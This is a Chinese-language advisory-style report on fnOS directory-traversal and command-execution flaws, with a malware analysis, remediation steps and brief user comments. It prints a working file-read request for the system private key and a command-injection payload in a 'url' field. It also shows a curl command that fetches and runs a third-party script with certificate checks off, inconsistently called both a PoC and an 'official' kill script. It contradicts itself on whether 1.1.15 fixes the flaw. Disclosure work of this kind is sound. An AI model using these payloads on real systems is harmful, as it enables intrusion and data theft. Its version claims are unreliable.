FnOS 出现严重的安全漏洞
🔒 飞牛 OS 严重安全漏洞调研报告
📌 一、漏洞涉及范围
影响版本
- 受影响版本 :1.1.15 以下的所有版本 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[126]](https://linux.do/t/topic/1547697)[[191]](https://t.me/s/linux_do_channel?before=293300)[191]
- 漏洞编号 :暂无(官方未公开/未分配 CVE)[[142]](https://www.v2ex.com/t/1189789)[[153]](https://t.me/s/DNSPODT)
- 危险等级 :严重(高危)[[153]](https://t.me/s/DNSPODT)
漏洞类型
- 目录遍历导致的任意文件读取漏洞 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)
- 命令执行漏洞(RCE) [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[103]](https://linux.do/t/topic/1548846)
- 可能存在的授权绕过漏洞 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[140]](https://www.nodeseek.com/post-602473-1)
实际影响范围
暴露条件 :fnOS 设备存在公网可达入口时风险显著上升 [[202]](Telegram – a new era of messaging
- 端口映射暴露
- 反向代理暴露
- 直连公网
- 内网穿透服务暴露
攻击后果 :
- ✅ 可读取系统任意文件,包括:
- 私钥文件(/usr/trim/etc/rsa_private_key.pem)
- 历史记录(/root/.bash_history、/root/.psql_history)
- 系统配置文件
- 用户存储的所有文件 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)
- ✅ 可执行任意命令,导致服务器完全失陷 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)
- ✅ 植入后门组件,驻留在系统中 [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[202]](https://t.me/s/DNSPODT)
- ✅ 发起 DDoS 攻击等恶意行为,导致设备被暂停服务 [[175]](https://club.fnnas.com/archiver/?tid-52580.html)[[177]](https://github.com/bin456789/reinstall/issues/542)
- ✅ 清理系统日志和审计日志,掩盖攻击痕迹 [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[202]](https://t.me/s/DNSPODT)
实际受害案例 :
- 多个用户报告设备出现莫名断网、网络异常、丢包严重等问题 [[2]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53317)[[4]](https://club.fnnas.com/archiver/?tid-53317.html)
- OVH 独服 DD 安装飞牛后出现对外攻击行为,导致服务被暂停 [[177]](Issues · bin456789/reinstall
- 用户报告重装后问题依然存在,说明恶意代码可能驻留在数据盘 [[175]](https://club.fnnas.com/archiver/?tid-52580.html)[[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)
💻 二、漏洞复现技术细节
1. 目录遍历漏洞(任意文件读取)
漏洞路径 :
/app-center-static/serviceicon/trim.media//app-center-static/xxx/xx/
复现方法 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html):
1GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_private_key.pem HTTP/1.1
2Host: [目标 IP]
原理说明 :
- 通过
size参数传递路径穿越字符串 - 默认向上穿越四级目录即可到达根目录
- 可读取系统任意敏感文件
2. 命令执行漏洞(RCE)
复现步骤 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[140]](https://www.nodeseek.com/post-602473-1)::
步骤 1 :建立 WebSocket 连接
ws://[目标IP]\:5666/websocket?type=main
步骤 2 :构造恶意请求体
[签名数据]={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}
关键说明 :
- 签名数据需使用浏览器 localStorage 中的 fnos-Secret 进行 HMAC-SHA256 签名
- payload 放在请求体的 URL 参数中
- 成功后会在/tmp 下创建文件 hacked20260131
- 此漏洞需要先有有效账户(但可能存在 authorization bypass)[[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)
测试 POC 示例 [[140]](https://www.nodeseek.com/post-602473-1):
1# 漏洞检测脚本
2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1 && \
3chmod +x /usr/local/bin/fnos_xxck1 && \
4fnos_xxck1
3. 漏洞技术背景
根本原因推测 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html):
- 后端服务(trim_app_center)缺少对请求路径的规范化处理
- 可能使用了类似以下存在漏洞的代码模式:
1// 伪代码示例(存在漏洞)
2func DownloadHandler(c *gin.Context) {
3 filePath := c.Query("size") // 直接获取 size 参数
4 // 缺少:filePath = filepath.Clean(filePath)
5 // 缺少:if !strings.HasPrefix(filePath, allowedDir) { ... }
6 c.File(filePath) // 直接读取文件
7}
漏洞状态 :
- ❌ 此漏洞在最新版 1.1.15-1493 中仍然存在 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)
- ❌ 可能存在前置的 authorization bypass 漏洞 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[140]](https://www.nodeseek.com/post-602473-1)
🏢 三、飞牛官方反应
官方采取的措施
✅ 积极措施 :
- 发布修复版本 :已发布 1.1.15 版本修复漏洞 [[141]](https://x.com/landiantech/status/2017444352361144733)[[126]](https://linux.do/t/topic/1547697)
- 社区技术支持 :发布恶意程序分析和专杀脚本 [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[178]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53320)
- 安全建议 :建议用户升级至 1.1.15 版本并关闭公网映射 [[140]](https://www.nodeseek.com/post-602473-1)[[202]](https://t.me/s/DNSPODT)
📋 官方建议 (来源:社区回应)[[140]](https://www.nodeseek.com/post-602473-1):
- 确认当前飞牛系统版本已升级至最新版本 1.1.15
- 确认在关闭公网端口映射情况下,是否仍有异常上传行为
- 确认设备公网访问场景下,使用 HTTPS 与 FNID 加密访问方式
官方反应存在的问题
❌ 严重缺陷 :
- 未发布正式安全公告 [[101]](https://www.landiannews.com/archives/111674.html)[[141]](https://x.com/landiantech/status/2017444352361144733)[[102]](https://www.nodeseek.com/post-602300-1)[102]
- 官方已修复但未发布安全公告
- 未主动使用短信或邮件通知受影响用户
- 蓝点网批评:飞牛似乎选择当"鸵鸟"[[141]](https://x.com/landiantech/status/2017444352361144733)
- 回应被质疑甩锅 [[102]](https://www.nodeseek.com/post-602300-1)[[101]](https://www.landiannews.com/archives/111674.html)
- 官方回应:"建议用户使用 HTTPS,避免 HTTP 明文访问"
- 网友质疑:部署 HTTPS 的用户也中招了
- HTTPS 无法防御应用层漏洞 ,只是传输加密,无法阻挡路径穿越攻击 [[140]](https://www.nodeseek.com/post-602473-1)
- 官方回应存在争议 [[101]](国产飞牛系统fnOS疑似出现重大安全漏洞 大量用户数据遭到公开访问 - 蓝点网
- 蓝点网对官方说法持怀疑态度
- 路径穿越漏洞与 HTTP/HTTPS 访问没有任何直接关系
- 补丁有效性存疑 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)[[140]](https://www.nodeseek.com/post-602473-1)
- 1.1.15 版本中漏洞仍然存在
- 可能需要更高版本才真正修复
- 信息不透明 [[141]](https://x.com/landiantech/status/2017444352361144733)
- 未说明漏洞技术细节
- 未公布受影响版本的确切范围
- 未分配 CVE 编号
社区与安全专家的反应
📢 NodeSeek 的批评 [[102]](https://www.nodeseek.com/post-602300-1):
- 官方暂未承认 0day 漏洞
- 仅回应"建议使用 HTTPS,避免 HTTP 明文访问"
- 网友质疑:"如果是 http 的问题,那整个程序圈,这么多用 http 的,早就被爆完了"
- 补丁与公告至今未见,用户仍在"裸奔"
📢 VPS.TOWN 的质疑 [[140]](https://www.nodeseek.com/post-602473-1):
- HTTPS 无法防御逻辑漏洞
- 2FA 可能失效 :若漏洞允许绕过鉴权模块直接读写系统文件,二步验证和强密码将形同虚设
- 重装系统的风险 :单纯重装系统可能无效,恶意脚本可能驻留在数据盘
📢 LoopDNS 的专业分析 [[202]](Telegram – a new era of messaging
- 官方已知该问题,建议升级至 1.1.15
- 但论坛反馈即使仅使用 HTTPS 访问也可能出现同类驻留现象
- 说明风险不应仅限定为 HTTP 明文通道
🛡️ 四、恶意程序分析(实际攻击案例)
后门组件特征 [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[202]](https://t.me/s/DNSPODT)
恶意文件 :
/usr/bin/nginx(伪装)/usr/trim/bin/trim_https_cgi/usr/sbin/gots/lib/modules/6.12.18-trim/snd_pcap.ko(内核模块)
恶意进程 :
- 监听 57132 端口(无 PID 显示)
- 清空系统日志信息
- 删除 audit 审计日志
- 访问恶意 IP 地址
网络连接 :
- 恶意 IP :
- 45.95.212.102
- 151.240.13.91
- 20.89.168.131(下载源)
- 恶意域名 :
- aura.kabot.icu
- apiv2-liveupdate.fnnas.com
- update-service.test.teiron-inc.cn
攻击链分析 [[202]](Telegram – a new era of messaging
入侵阶段 :
- 利用漏洞投放后门下载器
- 下载并执行二阶段载荷
- 追加随机字节规避哈希检测
持久化阶段 :
- 写入
/etc/rc.local:/sbin/gots x86 & - 创建 systemd 服务
- 追加
/etc/modules内核模块 snd_pcap - 修改
/usr/trim/bin/system_startup.sh
清除痕迹阶段 :
- 清空多目录日志
- 删除审计日志
- 清理安全相关日志
干扰业务阶段 :
- pkill 结束系统关键进程
- 重命名/替换系统工具(如 cat)
🔧 五、应急处置建议
优先级 1(立即执行) [[140]](https://www.nodeseek.com/post-602473-1)[[178]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53320)[[202]](https://t.me/s/DNSPODT)[202]
- 立即暂停 Web UI 公网暴露
- 在防火墙或安全组中阻断 FnOS Web 管理端口对公网的开放
- 或仅通过 SSH 隧道、VPN 访问管理后台
- 设置 IP 白名单
- 如果必须暴露端口,设置严格的 IP 白名单
- 封禁恶意 IP
1# 封禁恶意 IP 地址
2iptables -A OUTPUT -d 45.95.212.102 -j DROP
3iptables -A OUTPUT -d 151.240.13.91 -j DROP
4iptables -A OUTPUT -d 20.89.168.131 -j DROP
优先级 2(尽快执行) [[178]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53320)[[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)[[202]](https://t.me/s/DNSPODT)[202]
-
升级系统 :升级至 1.1.15 或更高版本(需验证是否真正修复)
-
运行专杀脚本 :
1# 下载并执行官方专杀脚本
2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1
3chmod +x /usr/local/bin/fnos_xxck1
4fnos_xxck1
- 手动检查 :
- 检查
/tmp、/var/tmp及系统计划任务 (crontab) 是否有可疑脚本 - 检查是否存在恶意文件(见上文)
- 检查
/etc/modules是否包含snd_pcap
- 清理后门 :
1# 解除不可变属性
2chattr -i /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi
3
4# 删除恶意文件
5rm -f /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi
6
7# 清理启动项
8sed -i '/gots/d' /etc/rc.local
9
10# 移除恶意内核模块
11rm -f /lib/modules/*/snd_pcap.ko
12sed -i '/snd_pcap/d' /etc/modules
优先级 3(安全加固) [[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)
- 修改所有密码 :管理界面密码、SSH 密码
- SSH 加固 :
- 禁止密码登录,仅允许私钥登录
- 禁止 root 登录
- 使用 fail2ban 自动封禁 SSH 登录失败的 IP
- 启用防火墙 :打开飞牛自带防火墙和操作系统防火墙
- 监控网络 :开启出站日志记录以便后续溯源
📊 六、总结与建议
风险评级
| 项目 | 评估 |
|---|---|
| 漏洞严重性 | ⚠️⚠️⚠️⚠️⚠️ 极高 |
| 影响范围 | ⚠️⚠️⚠️⚠️ 广泛(所有暴露公网的 1.1.15 以下版本) |
| 修复可用性 | ⚠️⚠️ 存疑(1.1.15 中仍存在漏洞) |
| 官方透明度 | ⚠️⚠️⚠️⚠️⚠️ 极低 |
给用户的建议
🚨 紧急情况(已发现异常) :
- 立即断开公网连接
- 备份重要数据(注意数据盘可能已被植入恶意代码)
- 按照上述优先级 1-3 执行应急处置
- 考虑完全重装系统(需要彻底格式化系统盘和数据盘)
- 更改所有相关账户密码
✅ 预防措施(尚未发现异常) :
- 立即升级至 1.1.15 版本
- 关闭所有不必要的公网端口映射
- 使用 VPN 或 SSH 隧道访问管理后台
- 定期检查系统日志和异常进程
- 备份重要数据
⚠️ 重要提醒 :
- 即使已升级到 1.1.15,漏洞可能仍然存在 [[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)
- 不要轻信"使用 HTTPS 就能防御"的说法 [[140]](https://www.nodeseek.com/post-602473-1)
- 重装系统前必须彻底检查数据盘,否则可能被再次感染 [[140]](https://www.nodeseek.com/post-602473-1)[[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)
信息来源与可靠性 :
- 技术细节:Mrxn's Blog(安全研究人员专业分析)[[104]](https://mrxn.net/news/fnos-Directory-Traversal-rce.html)
- 官方分析:飞牛私有云论坛(社区主理人发布)[[179]](https://club.fnnas.com/forum.php?mod=viewthread&tid=53230)
- 恶意程序分析:LoopDNS 安全团队专业分析 [[202]](Telegram – a new era of messaging
- 官方反应:蓝点网、NodeSeek 等媒体 [[101]](https://www.landiannews.com/archives/111674.html)[[102]](https://www.nodeseek.com/post-602300-1)[[140]](https://www.nodeseek.com/post-602473-1)[140]
- 实际案例:GitHub Issue、V2EX 等社区报告 [[177]](https://github.com/bin456789/reinstall/issues/542)[[175]](https://club.fnnas.com/archiver/?tid-52580.html)
时效性说明 :本次调研基于 2026 年 1 月 31 日的最新信息,漏洞仍在持续发展中,建议持续关注官方和社区更新。
ぜーんぶ弾けなーい!
复现成功了 😅
什么草台班子
ぜーんぶ弾けなーい!
我就是升级到 1.1.15 后才中招的,木马有好几个自启动程序,伪装为 nginx 和 docker 的 service,同时还会破坏更新系统的下载源导致无法更新至 1.1.18.官方一直不承认就是 fnconnect 导致的。